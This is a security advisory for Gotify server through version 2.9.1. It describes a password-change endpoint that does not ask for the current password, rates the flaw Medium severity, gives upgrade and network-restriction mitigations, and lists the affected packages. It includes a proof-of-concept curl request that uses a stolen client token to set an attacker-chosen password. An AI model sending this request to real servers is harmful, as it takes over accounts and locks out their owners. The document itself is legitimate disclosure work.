GHSA-3hcj-9m7p-wwm9

Suggest an improvement
Source
https://github.com/advisories/GHSA-3hcj-9m7p-wwm9
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-3hcj-9m7p-wwm9/GHSA-3hcj-9m7p-wwm9.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-3hcj-9m7p-wwm9
Aliases
Published
2026-10-15T20:15:38Z
Modified
2026-10-15T20:30:04Z
Severity
  • 5.3 (Medium) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N CVSS Calculator
Summary
Gotify: Insufficiently Protected Password Change endpoint
Details

The password change endpoint (POST /current/user/password) in Gotify versions <= 2.9.1 does not require knowledge of the current password. An attacker in possession of a valid client token can set a new password for the affected user. Recovering the account requires administrator intervention or direct database access.

PoC

# Attacker has obtained a client token
# No prior password knowledge required
STOLEN_TOKEN="Cxxxxxxxxxx"

curl -X POST "http://gotify-host/current/user/password?token=${STOLEN_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"pass":"attacker_controls_this"}'
# Expected response:
# HTTP/1.1 200 OK

Mitigation

  • Upgrade to Gotify 3.0.0, which introduces step-up authentication: changing the password now requires re-authenticating with the account password, or
  • Restrict access to the state-changing endpoints under /user and /current/user to trusted networks.
Database specific
{
    "cwe_ids":  [
        "CWE-620"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-10-15T20:15:38Z",
    "nvd_published_at":  "2026-10-13T15:17:30Z",
    "severity":  "MODERATE"
}
References

Affected packages

Go / github.com/gotify/server/v2

Package

Name
github.com/gotify/server/v2
View open source insights on deps.dev
Purl
pkg:golang/github.com/gotify/server/v2

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Last Affected
2.9.1

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-3hcj-9m7p-wwm9/GHSA-3hcj-9m7p-wwm9.json"

Go / github.com/gotify/server/v3

Package

Name
github.com/gotify/server/v3
View open source insights on deps.dev
Purl
pkg:golang/github.com/gotify/server/v3

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
3.0.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-3hcj-9m7p-wwm9/GHSA-3hcj-9m7p-wwm9.json"